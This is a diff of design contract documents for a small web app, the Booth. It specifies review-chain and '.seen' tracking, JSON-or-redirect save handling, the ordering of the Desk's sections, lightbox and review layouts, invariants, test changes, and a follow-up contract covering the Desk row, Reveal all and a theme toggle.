### C2 — `review_chain` and `.seen` (items.py, app.py)
|
||||
|
||||
- **`review_chain(items)`**: the rels of items whose kind is image, video or
|
||||
audio, in item order. ONE LINE: *the item order filtered to media.* It
|
||||
replaces `image_chain` as the review route's prev/next ring.
|
||||
- It is a **declared change** to the zoom-ring rule. Today's ring is images
|
||||
only. A booth mixing images and audio now rings through both, in set order.
|
||||
- `image_chain` stays for its callers and tests.
|
||||
- **`SEEN_FILE = ".seen"`**: a UTF-8 JSON array of rels. Not one rel per
|
||||
line, `.blurred`'s shape: a file name may contain a newline, and a line format
|
||||
would split one such rel into two, neither of them real.
|
||||
- Written by `record_seen(booth, rel, items)` from the review route, below the 404s
|
||||
and gated on the item record — the same gate `record_view` has.
|
||||
- Each write rewrites the whole file: the previous set plus `rel`, minus
|
||||
rels no longer in `booth_items`, sorted. It is deduplicated and pruned, so
|
||||
it never grows past the booth's item count.
|
||||
- Atomic replace, per the Booth's CLAUDE.md invariant 5 ("sidecar writes are
|
||||
atomic"), not this contract's INV-5.
|
||||
- Seen is keyed by rel. A file replaced at the same path stays seen; a
|
||||
deleted file drops out at the next write, and every count below
|
||||
intersects with the current `review_chain`.
|
||||
- **The review route ALSO calls `record_view` (existing U4 behaviour,
|
||||
unchanged).** So reviewing a booth at full size refreshes "you looked" for
|
||||
the Desk exactly as opening its grid does. `.viewed` and `.seen` never
|
||||
disagree about whether you looked at the booth; `.seen` only adds WHICH
|
||||
items.
|
||||
- NEVER RAISES, like `record_view`: failing to record a look costs the
|
||||
marker, not the page.
|
||||
- `read_seen(booth) -> set[str]` is lenient and NEVER RAISES. It opens without
|
||||
following a symlink and without blocking, reads only a regular file of at
|
||||
most 1 MiB, and keeps only the array's string members. Anything else — a
|
||||
link, a FIFO, a directory, an oversized, malformed or too-deeply-nested
|
||||
file — reads as the empty set. `.seen` sits in an agent-writable directory, and a planted FIFO
|
||||
must not hang the review route.
|
||||
- `items` is the route's own `booth_items` result. It is passed in so that the
|
||||
prune ("minus rels no longer in `booth_items`") costs no second walk.
|
||||
- **Seen is UI state, not judgment.** It is not exposed in `marks.json` and it
|
||||
holds nothing.
|
||||
- It adds no lifetime RULE. Being a dotfile, its write does move
|
||||
`_newest_mtime`. So does the `.viewed` write on the same request, so a
|
||||
review page ages a booth exactly as it does today.
|
||||
|
||||
### C3 — in-place judgment (app.py, base.html)
|
||||
|
||||
**`wants_json(accept: str | None) -> bool`** takes the raw `Accept` header, so
|
||||
it is a pure function a test can call directly. It is True **only** when the
|
||||
header, split on commas, contains an entry whose media type, parameters stripped, is
|
||||
exactly `application/json` and whose q-value is absent or greater than 0.
|
||||
|
||||
- Absent, empty, `*/*` or `application/*` → False.
|
||||
- `application/json;q=0` → False. A client that explicitly refuses JSON gets
|
||||
the redirect.
|
||||
- A near miss such as `application/jsonx` → False.
|
||||
- **Every entry is parsed before anything is decided.** One unparseable
|
||||
entry anywhere, before or after a good one, makes the whole header False.
|
||||
- Any header that fails to parse → False. A q-value that is not a finite
|
||||
number (`q=nan`, `q=inf`) fails to parse.
|
||||
- **It fails toward the 303.**
|
||||
|
||||
The four mark routes (`/answer`, `/note`, `/flag`, `/unmark`) perform the same
|
||||
write as today, then:
|
||||
|
||||
- `wants_json` → **204 No Content**.
|
||||
- otherwise → today's `_mark_redirect(...)`, **byte-identical**: same status,
|
||||
same `Location`, same body.
|
||||
|
||||
**`back=view`** is a new landing for `_mark_redirect`, carried by the review
|
||||
route's forms together with `f=<rel>`. It lands on
|
||||
`/b/<name>/view?f=<quote(rel)>#rail`. This fixes the JS-off bounce too:
|
||||
today's zoom flag form carries no `back`, so it lands on the gallery.
|
||||
|
||||
- `back=view` lands on the review only when `f` names an item in
|
||||
`review_chain`, i.e. a media item. For anything else (a doc, a missing rel,
|
||||
an empty `f`) the landing falls back to the booth page, exactly as a form
|
||||
with no `back` does today. `doc.html` carries no forms, so no shipped page
|
||||
sends `back=view` with a doc.
|
||||
- The URL is built server-side from `name` + `quote(f)`, never echoed, so this
|
||||
is not an open redirect.
|
||||
|
||||
**The client**: one small script in base.html, bound to forms marked
|
||||
`data-inplace`.
|
||||
|
||||
1. POST the form with `Accept: application/json`.
|
||||
2. On 204, GET the current URL and replace **every** element carrying
|
||||
`data-region="<id>"` with the same-id element from the response.
|
||||
- The rule is "every region whose content can depend on marks is a
|
||||
region".
|
||||
- On the lightbox: the verdict aside, each tile, the rail (its filter
|
||||
counts change when you flag), and the header's open count and lifetime
|
||||
line (`booth-status`).
|
||||
- On a booth with marks but no set: the panel (`marks-panel`).
|
||||
- On the standalone marks page: the header's open count (`booth-status`)
|
||||
and the panel (`marks-panel`), one region around both its states so
|
||||
answering the last mark away swaps in the empty state.
|
||||
- On the review: the rail, the filmstrip and the tape.
|
||||
- The stage is never a region: replacing it would restart a playing video
|
||||
or audio track.
|
||||
- A TILE (`item-*`) absent from the response is left alone and never
|
||||
deleted. Deleting it would shift every tile after it under the reader's
|
||||
eye. It is marked `is-stale` so it does not pass for current:
|
||||
un-flagging under `?filter=flagged` is the case. The next navigation
|
||||
drops it.
|
||||
- Any OTHER difference in structure — a non-tile region in the response
|
||||
that the page lacks, or one the page has that the response lacks — or a
|
||||
page with no region to swap at all, is not patched: the script reloads
|
||||
with a GET, so what you see is the server's truth.
|
||||
- The swap also carries the per-viewer state a reload would have reset
|
||||
but an in-place save must not:
|
||||
- live media whose src is unchanged;
|
||||
- a revealed blur;
|
||||
- a closed doc;
|
||||
- disclosures the reader opened or closed;
|
||||
- every DIRTY control: a half-typed or edited note, a radio picked and
|
||||
not yet sent.
|
||||
|
||||
All of it is matched by IDENTITY, never by position: a form by its
|
||||
action and its hidden `ask`/`target`/`mark`/`f` fields, a control by its
|
||||
form plus its name (plus its value for a radio or checkbox), a disclosure
|
||||
by the pick or form it holds. A flag that adds a tray row above a draft
|
||||
must not move the draft into the wrong box. The form just sent is the
|
||||
exception: its fields come back as the server rendered them, and its
|
||||
disclosure comes back folded.
|
||||
3. **Saves are SERIALIZED.** Each save runs its POST, its GET and its swap
|
||||
before the next begins, so an older snapshot never lands after a newer one
|
||||
(three quick flags show three flags). A form already queued or in flight
|
||||
ignores another submit: a double-click writes one note, not two.
|
||||
4. **The script never re-POSTs.** A retry after a lost response would re-apply
|
||||
the judgment: a duplicate note, or a re-dated answer.
|
||||
- On a non-204 HTTP response, or a network failure, it writes a fixed
|
||||
message into the page's server-rendered status element
|
||||
(`data-region="status"`, via textContent). After a beat (0.9 s, so the
|
||||
words can be read) it reloads the page with a GET, so what you see is the
|
||||
server's truth.
|
||||
- The one case where a non-JS submit happens is a script that cannot run at
|
||||
all. That is the plain form.
|
||||
|
||||
**The server renders every state; the script only places it.** This is U3's
|
||||
rule — a second renderer in JavaScript would be the same bug in a new language.
|
||||
|
||||
### C4 — the Desk (index.html, app.index, list_booths)
|
||||
|
||||
`list_booths` gains five fields, all read in the one pass it already makes:
|
||||
|
||||
- **`open_since`**: the `created` of the OLDEST open pick in the booth, or
|
||||
None. Computed via `open_marks`, INV-2.
|
||||
- `Mark.created` is a STRING. It is parsed with `datetime.fromisoformat`,
|
||||
never compared lexically: two ISO stamps with different offsets, or a
|
||||
legacy-import stamp, sort wrong as text.
|
||||
- An unparseable stamp sorts AFTER every parseable one, and name breaks the
|
||||
tie.
|
||||
- **`flags`**: the number of CURRENT items carrying a READABLE flag mark,
|
||||
shown on every Desk row that has any — `flagged_targets(marks)` intersected
|
||||
with the booth's item rels. `flagged_targets(marks)` is the ONE flag
|
||||
predicate. The Desk, the tray, the orphan list, the rail's `flagged` filter,
|
||||
the tiles, the filmstrip, the tape and the review button all read it, and an
|
||||
unreadable flag entry counts nowhere. A flag whose file
|
||||
has since been deleted is an ORPHAN: it counts on no Desk row, and the tray
|
||||
lists it (C5) so it can be cleared.
|
||||
- **`landed_at`**: the newest mtime among the booth's CONTENT — its regular
|
||||
files and symlinks with no dot-component in their path, each read by
|
||||
`lstat`. **Deliberately not `_newest_mtime`** (INV-5). Five refinements,
|
||||
each load-bearing:
|
||||
- **Files only, never directories.** Creating any dotfile (`.viewed`, the
|
||||
marks file's temp-and-replace) bumps the booth directory's own mtime, so
|
||||
counting directories would make the flag you set after looking read as a
|
||||
delivery.
|
||||
- **A symlink counts by its OWN mtime** — when it was placed — never its
|
||||
target's. A link to a busy file outside the booth must not make the booth
|
||||
read as newly delivered.
|
||||
- **An empty booth landed at 0.0.**
|
||||
- **One unreadable entry is skipped.** Reading the whole booth as landed NOW
|
||||
for one bad entry would pin it in 'new' forever.
|
||||
- **A booth whose walk cannot run at all reads as NOW.** It is shown as new
|
||||
rather than hidden as old.
|
||||
- **`viewed_at`**: the mtime of `.viewed`, or None.
|
||||
- **`preview`**: up to 4 image items as `(url, blurred)`, first four in item
|
||||
order. A blurred one renders blurred, the same rule as the cover.
|
||||
- A booth with no images (an audio set, a report) shows today's kind
|
||||
placeholder instead (`♪ audio`, `▦ page`, `▶ video`, `◆ files`).
|
||||
- These are the original files displayed small with `loading=lazy`. No
|
||||
thumbnail is GENERATED anywhere in R2; see Out of scope.
|
||||
|
||||
**The index renders three sections, always in this order:**
|
||||
|
||||
1. **Needs you** — `marks_open > 0`, **or** `hold == "unreadable"`.
|
||||
- `marks_open` counts `open_marks(...)`, which only ever returns PICKS. A
|
||||
booth whose marks are only flags or notes is the operator's own judgment,
|
||||
not a question to them, so it is NOT here.
|
||||
- A damaged `.marks.json` holds its booth but is not open by `open_marks`
|
||||
(errored picks are not open). Somebody has to fix it, so it must not hide
|
||||
in 'everything else'. It renders with the existing "marks unreadable"
|
||||
lifetime line.
|
||||
- Ordered by `(open_since, name)`, oldest question first. A booth held
|
||||
`unreadable` has no `open_since` — even when a readable pick sits beside
|
||||
the damage, because the damage is the thing to fix — and sorts after every
|
||||
booth that has one.
|
||||
2. **New since you looked** — `not in_needs_you and (viewed_at is None or
|
||||
landed_at > viewed_at)`. Ordered by `(-landed_at, name)`, newest first.
|
||||
3. **Everything else** — last UPDATED first: `(-landed_at, name)`, the date
|
||||
the row shows as "updated". **Amended 2026-09-23 by the operator** ("last
|
||||
activity can just be last time the booth was updated, not necessarily
|
||||
operator's last activity"). This section used to be `list_booths`' order,
|
||||
`(mtime, name)` descending over `_newest_mtime`, and that clock counts a
|
||||
look: opening a booth moved it up, and a script that fetched every booth
|
||||
(a post-deploy check) collapsed the whole section into reverse name order.
|
||||
- Flagging, viewing or blurring a booth no longer moves it. Only content
|
||||
does, which is also what moves a booth into (2).
|
||||
- `list_booths` keeps its own `(mtime, name)` order for its other readers,
|
||||
and `_newest_mtime` still feeds lifetime (INV-5). Only the Desk's
|
||||
section stopped reading it.
|
||||
|
||||
The side column holds:
|
||||
|
||||
- **Benches**: `read_benches(data_dir)`, non-retired, in the registry's
|
||||
existing order. Its error return renders as an error line, never as an empty
|
||||
list. This is the booth page's rule: damaged and absent must not render the
|
||||
same.
|
||||
- **Agent-written URLs become links only when they are `http(s)`.** A bench
|
||||
URL or a bookmark with any other scheme renders as plain text. Autoescape
|
||||
stops markup, not a `javascript:` href.
|
||||
- **Bookmarks** come from the board the CLI writes: the booth named by
|
||||
`BOOTH_LINKS_BOARD`, default `links`. They are read through the same
|
||||
never-raising path as `_board_rows`, which gets factored so both callers
|
||||
share it.
|
||||
- Shown: rows that are not booth URLs (`booth_target(url) is None`).
|
||||
- Order: pinned first, then newest (`order_for_display`).
|
||||
- Capped at 8, with a link to the full board.
|
||||
- **Pickup**: the existing upload form, unchanged, moved from the page head.
|
||||
|
||||
**An empty section does not render** — no heading, no box. This is the
|
||||
load-bearing negative half of the kept-lane pair it replaces
|
||||
(`'class="grid kept-grid"' not in html`), carried forward into test_flow.py as
|
||||
a pair: present when it has rows, absent when it has none. It applies to each
|
||||
of the three sections and to the Benches and Bookmarks panels.
|
||||
|
||||
The kept/ephemeral lanes are **removed**: 23 of 24 live booths are kept, so the
|
||||
lanes sort nothing. Kept status and the lifetime line (`_lifetime.html`,
|
||||
unchanged) remain on every row.
|
||||
|
||||
**A row's controls sit on its facts line**, each beside the state it changes:
|
||||
`release` after "kept", `★ keep` after a countdown or a hold, `× wipe` last.
|
||||
They are always visible, with no hover-only reveal: that was a column that
|
||||
reserved its room while invisible (operator, 2026-09-23, on the live Desk:
|
||||
"release and x take up space whether or not they're visible"), and touch has
|
||||
no hover. The side column renders only when the row has a badge, so a row
|
||||
without one reserves nothing. The forms, POST targets and `data-confirm`
|
||||
wording are unchanged.
|
||||
|
||||
- **On a coarse pointer every row control is at least 28px square**, the floor
|
||||
it had as a column, and wipe stands clear of the zip link. With scripts off
|
||||
no confirm fires, so a mis-tap on wipe is the delete. A fine pointer keeps
|
||||
the compact line.
|
||||
- **The confirm dialog shows the name as it should be READ.** Control and bidi
|
||||
formatting characters in an agent-made name show as U+FFFD, so a U+202E or a
|
||||
newline cannot rewrite what the operator approves. A `data-confirm` word the
|
||||
page does not know still asks, generically: the prompt fails closed.
|
||||
- **No page scrolls sideways at any width**, including an install path with no
|
||||
break opportunity in the footer or the empty Desk (`code` wraps anywhere).
|
||||
Tested at 390, 720, 850, 1000 and 1400px with the heaviest row the Desk draws.
|
||||
|
||||
### C5 — the lightbox (booth.html, booth_view)
|
||||
|
||||
- **Layout.** Two panes on a gallery booth: the set on the left, the
|
||||
**verdict aside** on the right (`position:sticky`, `data-region="verdict"`).
|
||||
Under 1000px the aside stacks above the set, with its flags and notes
|
||||
collapsed as `<details>`, which needs no script.
|
||||
- The markup is a CLOSED `<details>`.
|
||||
- Above 1000px, CSS alone shows its content (`::details-content`) and hides
|
||||
its summary, so nothing is folded where there is room.
|
||||
- A browser without `::details-content` shows the fold at every width: one
|
||||
tap, never hidden.
|
||||
- **Board booths are unchanged.** Anything with `links.md` keeps today's
|
||||
single column.
|
||||
- **The aside holds, top to bottom:**
|
||||
1. open picks (the existing `_marks.html` pick rendering);
|
||||
2. the flag tray;
|
||||
3. notes;
|
||||
4. the booth-note form.
|
||||
- **The flag tray is ordered by ORDINAL** — a declared change from the marks
|
||||
panel's `(created, id)`. It shows each flagged item's original file
|
||||
displayed small (no generated thumbnail), blurred if the item is blurred,
|
||||
with its #.
|
||||
The order is total with no tie-break, because rels are unique.
|
||||
- **Orphan flags** — flags whose target is no longer an item — follow the
|
||||
tray, by target, each with its unmark form. A flag the page cannot show
|
||||
must still be clearable, or it counts in the rail forever.
|
||||
- **The rail stays.** Same element, same `.rail` class (booth.html's cursor
|
||||
and base.html's `--rail-h` script both read it), same filter hrefs, same
|
||||
group anchors. When `rail.groups` is non-empty AND every group is one
|
||||
contiguous run in the rendered order, the grid additionally renders an
|
||||
inline group header before each group's first tile.
|
||||
- Groups come from basenames and the order from full paths, so groups can
|
||||
interleave (`d1/aa`, `d1/bb`, `d2/aa`).
|
||||
- A header would then either repeat or file an item under the wrong group,
|
||||
so interleaved groups get no inline headers. The rail's jump links are
|
||||
unaffected. It is a
|
||||
`<div>` spanning the grid, never a `figure.item`, so the keyboard and the
|
||||
order check are blind to it by construction.
|
||||
- **Every tile shows `#NN`** (its ordinal, zero-padded to the set's width).
|
||||
Each tile is `data-region="item-<url>"`, so the in-place script can replace
|
||||
exactly the tile it flagged.
|
||||
- **An audio or video tile carries a `review` link** to its review page. On
|
||||
those tiles a click drives the player, so without the link the review is
|
||||
reachable only by key.
|
||||
|
||||
### C6 — the review (view.html, booth_view_file)
|
||||
|
||||
This applies to image, video and audio items. Docs keep `doc.html`.
|
||||
|
||||
A requested rel the filesystem cannot represent (a NUL byte, an over-long
|
||||
path) is a 404, as any other unknown rel is — never a 500.
|
||||
|
||||
- **The stage**: the artifact at fit size, with a 1:1 toggle for images ONLY.
|
||||
- The toggle and its script are rendered and bound only when the stage is
|
||||
an `<img>`.
|
||||
- The toggle is a JS-only VIEWING convenience, as it is today: the button
|
||||
starts hidden and the script shows it. With scripts off the image shows at
|
||||
fit size, and no judgment depends on the toggle (INV-3).
|
||||
- Video and audio get their native controls and no toggle. A toggle that
|
||||
renders on audio and silently no-ops (today's script binds
|
||||
`getElementById('vimg')`) is the failure this names.
|
||||
- **The rail** (`data-region="rail"`) holds:
|
||||
- the item's ordinal `#NN` (its number in the whole set, the same number
|
||||
its tile shows);
|
||||
- `K of M`, where K is its position in `review_chain` and M is the length
|
||||
of `review_chain`. The tape's "N of M seen" uses the SAME M, and N counts
|
||||
`.seen` ∩ `review_chain`;
|
||||
- its position within its group, when the review RING spans two or more
|
||||
groups (the gallery rail's own rule: one group for everything says
|
||||
nothing);
|
||||
- the caption;
|
||||
- the flag form (`back=view`);
|
||||
- notes and the add-note form (`back=view`);
|
||||
- any open pick TARGETING this item, answerable here (`back=view`);
|
||||
- the booth's other open picks as a count and a link.
|
||||
- **The filmstrip** is `review_chain` in order, with ordinals, flagged frames
|
||||
underlined and the current frame in the reticle.
|
||||
- **The tape** (B's device) is one segment per `review_chain` item: seen /
|
||||
flagged / current, plus "N of M seen".
|
||||
- **The end of the set** is not a separate page. On the last ring item the
|
||||
rail adds a summary block: the seen count, the flag tray, and EVERY OTHER
|
||||
open pick, answerable in place.
|
||||
- That includes picks targeting other items, not only booth-level ones: the
|
||||
end of the set is where the remaining questions get cleared.
|
||||
- Before the last item, the other picks are a count and a link.
|
||||
- **Keys** (additive). **Every** key here, new and old, is ignored while focus
|
||||
is in an `input`, `textarea`, `select` or `contenteditable`, the same
|
||||
`isEditable` guard view.html carries today, so F never fires mid-note:
|
||||
|
||||
| key | action |
|
||||
|---|---|
|
||||
| ← → and Space | move. Shift+Space moves back. Space is left to a focused `<video>`/`<audio>` player, whose own play key it is |
|
||||
| F | flag |
|
||||
| N | focus the note |
|
||||
| Esc | back to the grid, at `#item-<url>` so the grid scrolls to where you were |
|
||||
|
||||
### C7 — copy and brand (the two rulings that are not layout)
|
||||
|
||||
- **Voice: plain and direct** (ruling `voice=plain`). Every NEW string R2
|
||||
introduces says what it means, with no villainy and no jokes. Existing
|
||||
strings are unchanged unless their surface is rewritten.
|
||||
- **No SVS emblem** anywhere in the Booth's chrome (ruling `emblem=no`). The
|
||||
brand dot and the reticle favicon from the SVOS retheme stay.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — one resolver.** `ordinal` is set in `booth_items`. No route computes
|
||||
a position.
|
||||
- **INV-2 — order, stated.** Each ordered surface has a one-line rule:
|
||||
|
||||
| surface | rule |
|
||||
|---|---|
|
||||
| items | `sorted(rel)` |
|
||||
| ordinals | position in that |
|
||||
| review ring | that, filtered to media |
|
||||
| filmstrip, tape | the review ring |
|
||||
| flag tray | by ordinal |
|
||||
| Desk sections | fixed: needs → new → everything |
|
||||
| needs you | `(open_since, name)` |
|
||||
| new since you looked | `(-landed_at, name)` |
|
||||
| everything else | `(-landed_at, name)`: last updated first (amended 2026-09-23) |
|
||||
| bookmarks | `order_for_display` |
|
||||
|
||||
The notes list keeps `(created, id)`.
|
||||
- **INV-3 — JS-off parity.** Every judgment, filter and jump works with
|
||||
scripts disabled. The only JS-only affordances are:
|
||||
- the keys;
|
||||
- the in-place swap;
|
||||
- the image 1:1 toggle (a viewing convenience, unchanged from today);
|
||||
- the existing copy buttons and blur reveal.
|
||||
|
||||
The narrow-screen collapse is `<details>` and needs no script.
|
||||
- **INV-4 — 303 byte-identity, for every request shape that existed before
|
||||
R2.**
|
||||
- For a request where `wants_json` is False and `back` is absent or
|
||||
`marks`, each mark route's response (status, headers, body) is
|
||||
byte-identical to its pre-R2 response.
|
||||
- `back=view` is a NEW request shape with no pre-R2 counterpart. Its landing
|
||||
is specified in C3 and is the one declared exception.
|
||||
- **INV-5 — two named clocks.**
|
||||
- `mtime` / `_newest_mtime`: activity. It includes dotfiles and excludes
|
||||
locks, and it feeds lifetime. (It fed 'everything else' until 2026-09-23;
|
||||
see §3.)
|
||||
- `landed_at`: content only (non-dot entries), and it feeds 'new since you
|
||||
looked'.
|
||||
- Never the one where the other is meant: a mark or a view is not new
|
||||
content, and new content is not the only activity.
|
||||
- **INV-6 — no second renderer.** The in-place script inserts server-rendered
|
||||
HTML and builds none.
|
||||
- **INV-7 — autoescape.** No `|safe` on any booth name, item name, caption,
|
||||
why or mark text. The flag tray and filmstrip render names through the same
|
||||
escaping path as the grid.
|
||||
- **INV-8 — blur honesty.** A blurred item stays blurred on every new surface:
|
||||
the Desk preview strip, the flag tray, the filmstrip and the review stage.
|
||||
Reveal stays per-BROWSER and client-side (nothing persisted). Copy keeps admitting it is cosmetic.
|
||||
|
||||
## Assertions that change (declared before the code, per CLAUDE.md)
|
||||
|
||||
| test | today | after R2 | why |
|
||||
|---|---|---|---|
|
||||
| test_booth.py L785 | `class="grid kept-grid"` present when a booth is kept | absent; the kept booth appears in its Desk section with the `kept` lifetime line | requirement 8: the lanes sort nothing |
|
||||
| test_booth.py L786 | `class="card card-kept"` present | replaced by the row carrying `data-kept="1"` | same |
|
||||
| test_embed_browser.py `test_the_keyboard_flag_actually_submits` | pressing `f` causes a NAVIGATION (`page.expect_navigation()`), and the reloaded page shows the flag | pressing `f` causes NO navigation; the flag comes back from the server into the swapped tile. A window marker set before the keypress must survive, proving no reload | with JS on, the flag now applies in place (requirement 3). The gallery reload was the no-JS design working, not a defect, and the plain-form path is still pinned by the INV-4 golden. The defect R2 fixes is the full-size EJECTION, `view.html`'s flag form carrying no `back`. The test's real claim — the key reaches the server and the server's state comes back — is kept, and asserted more strictly |
|
||||
| test_booth.py L789 | the kept booth renders BEFORE the ephemeral one (`html.index("links") < html.index("scratch")`) | replaced by the Desk's stated order (needs → new → everything, each with its own key) | the kept-first order was the lane's; with no lane there is no kept-first rule, and a second hidden ordering would break INV-2 |
|
||||
| test_booth.py L810-811 | lane absent when nothing is kept | these two SURVIVE unchanged (they assert absence and stay true) | — |
|
||||
|
||||
Every other existing assertion is expected to survive, and one of the TDD
|
||||
slices is "the whole suite green before any new test". Named because they were
|
||||
checked:
|
||||
|
||||
- the `vnav vprev` / `vnav vnext` anchors (test_booth L569-591 and
|
||||
test_navigation L337) keep their classes and hrefs;
|
||||
- `Wipe now` stays in the booth header;
|
||||
- `class="boothhead"` stays.
|
||||
|
||||
## Accepted risks (named, not fixed)
|
||||
|
||||
- **`.seen` is read-modify-write without a lock.** Two reviews of the same
|
||||
booth racing can drop one rel from `.seen`. The cost is cosmetic — a frame
|
||||
shown unseen on the tape — and the next look repairs it; a lock would buy a
|
||||
cosmetic count at the price of a lock file the lifetime clock must ignore.
|
||||
- **A `.viewed` symlink planted by an agent freezes 'new'.** `viewed_at`
|
||||
reads it by `lstat`, and `record_view` refuses to write through it
|
||||
(`O_NOFOLLOW`), so the marker never moves again: once content lands after
|
||||
it, the booth reads as 'new' however often it is opened. It fails in the
|
||||
visible direction — shown, never hidden — and needs write access to the
|
||||
booth, which already buys worse. The remedy is deleting the link.
|
||||
- **`Item` gains `ordinal` with no default.** `booth_items` is the single
|
||||
construction site, keyword-only; a default would let a second site forget
|
||||
it silently (INV-1).
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Compare (r3).
|
||||
- Thumbnails.
|
||||
- 1–9 answer keys.
|
||||
- Lifetime policy for answered picks.
|
||||
- The verbatim path. A verbatim booth's media items remain reachable at
|
||||
`view?f=` by URL, as today, and nothing in the verbatim page links there.
|
||||
- The link-board page (`/b/links/`) beyond CSS.
|
||||
@@ -0,0 +1,369 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-23 by design-dev, from operator rulings relayed by booth-dev the same day (thread 01M38BJ30WVQT870MS6WGM49EK): blur=A; three Desk-row rulings; a theme toggle. Contract panel folded. Both open points answered by the operator (thread 01M38CT9DH2N3Z4FSJ0MNE4DR1): × hides (A), and the theme reaches inside verbatim pages. DELIVERED IN TWO MERGES, blur first (operator: 'per booth blurring is now important since we are showing up to 4 images'): merge 1 = D2 + D2b, merge 2 = D1 + D3."
|
||||
module: "templates + base.html CSS/JS + the vendored token sheet (the Desk row, Reveal all, the theme toggle)"
|
||||
purpose: "Three operator rulings, one contract. THE DESK ROW: kept vs ephemeral reads at a glance; download/keep/release appear only on hover, at no space cost; the zip link leaves the middle. REVEAL ALL: one control reveals every blurred item in a booth for the life of the tab. THE THEME TOGGLE: System / Light / Dark at the top of every page."
|
||||
depends_on:
|
||||
- "booth.items.booth_items + Item.blurred (INV-1 of r2: the one resolver). Reveal all reads Item.blurred and nothing else. booth-dev is adding a booth-level blur flag that feeds Item.blurred (composes with `.blurred`, never overrides); this contract needs no change when it lands."
|
||||
- "templates/_lifetime.html `lifetime(kept, hold, expires_in)` — its OUTPUT is unchanged; the Desk wraps it."
|
||||
- "booth.app.index / list_booths row fields `kept`, `hold`, `expires_in`, `name`, `name_url`, `count`, `flags`, `marks_open`, `uploaded` (unchanged)."
|
||||
- "booth.app.booth_view / booth_view_file contexts (`name`, `items`, the review ring)."
|
||||
- "the in-place client in base.html (r2 C3): POSTs a form, re-fetches the CURRENT URL and swaps its `data-region` elements. It never navigates — every change of page, booth to booth included, is a full load — and it never touches <html>, the top bar, or anything outside a region."
|
||||
- "booth.items.is_booth_blurred(booth) + BOOTH_BLUR_FILE `.blurbooth` (booth-dev, c1108a1): the whole-booth blur marker. Fails toward BLURRED on an unreadable read."
|
||||
- "POST /b/{name}/blurbooth with `on=1|0` and optional `back=<rel>` → 303 to the booth, or to `view?f=<rel>` (booth-dev, c1108a1). Not a mark route: no 204, always the 303."
|
||||
language: "jinja + css + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 350
|
||||
confidence: 0.7
|
||||
touches:
|
||||
- "booth/templates/index.html (the row: facts line, lifetime pill, the hover cluster, the `blurred` badge; the confirm script unchanged)"
|
||||
- "booth/app.py (READS only, no new route: `booth_blurred` in the booth_view and booth_view_file contexts and on each list_booths row; `blurred_self` on each gallery dict, read off `Item.blurred_self` — moved onto the item record by booth-dev 2026-09-23 so blur state has one reader, invariant 3)"
|
||||
- "booth/templates/base.html (Desk row CSS; reveal-all CSS; the theme toggle markup in the top bar; the early <head> script; the toggle script)"
|
||||
- "booth/templates/booth.html (Reveal all in the booth header; per-tile reveal defers to it)"
|
||||
- "booth/templates/view.html (Reveal all in the review; the stage reveal defers to it)"
|
||||
- "booth/templates/_svos_tokens.css (RE-VENDORED at the same SVOS SHA ed2f8d8 with a new scoping transform; no value changes)"
|
||||
- "booth/static/embed.js (the `.bk-ask` colours follow the theme choice; D3)"
|
||||
- "tests/test_flow_browser.py, tests/test_flow.py (new tests; two assertions change, see below)"
|
||||
- "tests/mutations/r2_flow.toml (rows whose anchors this moves are re-aimed, never deleted without a replacement)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, per r2. A reveal and a theme are per-browser; the server stores neither."
|
||||
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF (INV-3 of r2). Keep, release, wipe and zip stay plain forms and a link. Reveal all and the toggle are JS-only affordances and do not render without JS."
|
||||
resolved_questions:
|
||||
- "OPEN-1: does × (wipe) hide until hover with download/keep/release? ANSWERED YES by the operator (2026-09-23), the recommendation."
|
||||
- "Does the theme toggle reach the ask chrome (`.bk-ask`) inside verbatim pages? ANSWERED YES by the operator: 'theme toggle reaches inside'."
|
||||
---
|
||||
|
||||
# R2b — the Desk row, Reveal all, the theme toggle
|
||||
|
||||
## D1 — the Desk row
|
||||
|
||||
The operator, verbatim: *"let's make it obvious which are kept and which are
|
||||
ephemeral"*; *"the zip download button is in between keep/release and wipe, and
|
||||
looks awkward"*; *"let's have the download, keep and release buttons only appear
|
||||
on mouseover"*.
|
||||
|
||||
- **The lifetime is a pill in the row's right column, always visible.** It is
|
||||
state, not a control, so it stays when the controls hide, and the right column
|
||||
scans down the Desk as one column of state.
|
||||
- `life-kept` when `b.kept`: sage (SVOS: a judgment made), prefixed `★`.
|
||||
- `life-held` when not kept and `b.hold` is `open` or `unreadable`: amber.
|
||||
- `life-count` otherwise: neutral outline, prefixed `◷`.
|
||||
- The pill wraps `lifetime(...)`, whose output is unchanged; the class is
|
||||
chosen from `kept`/`hold` alone.
|
||||
- The badges (open count, new, pickup, marks unreadable) stay in the same
|
||||
column, above the pill. The column always renders now, because every row
|
||||
has a lifetime.
|
||||
- **The facts line is facts only**: item count and flag count. The lifetime and
|
||||
every control leave it.
|
||||
- **The controls are one cluster, `.desk-acts`, in this order:** `⬇ zip`, then
|
||||
`★ keep` or `release`, then `× wipe`, set apart from the other two. Zip leaves
|
||||
the middle; release stays next to × (the operator's earlier "x next to
|
||||
release").
|
||||
- **Where a real hover exists, the cluster takes no room.** "Real hover" is
|
||||
`(hover: hover) and (pointer: fine)` with NO coarse pointer present
|
||||
(`any-pointer: coarse` does not match). A touch laptop reports a mouse, but a
|
||||
finger on it cannot hover, so it gets the touch treatment below.
|
||||
- At rest the cluster is absolutely positioned over the top-right corner of
|
||||
the row's preview strip, at opacity 0 and `pointer-events: none`. On row
|
||||
`:hover` or `:focus-within`, BOTH are restored: opacity 1 and
|
||||
`pointer-events: auto`. A visible control that cannot be clicked is a
|
||||
defect.
|
||||
- It covers pictures, never information: its box never intersects
|
||||
`.desk-main` or `.desk-side` at any width.
|
||||
- Keyboard: the controls stay in the tab order while hidden (opacity, never
|
||||
`visibility`/`display`), and focusing one reveals the cluster.
|
||||
- At ≤700px the strip is the row's first line, full width, and the text
|
||||
column, pill and badges wrap below it. The cluster sits at the strip's
|
||||
top-right, which is still picture.
|
||||
- **Everywhere else (no hover, a coarse primary pointer, or any coarse pointer
|
||||
present), the cluster is visible and in flow**, on its own line at the
|
||||
bottom of the row.
|
||||
- **The cluster is LAST in the row's markup**, so the booth's name comes first
|
||||
in tab order and wipe comes last. Where a real hover exists it is placed over
|
||||
the strip from the row's own box: the strip keeps to the row's top, 210px
|
||||
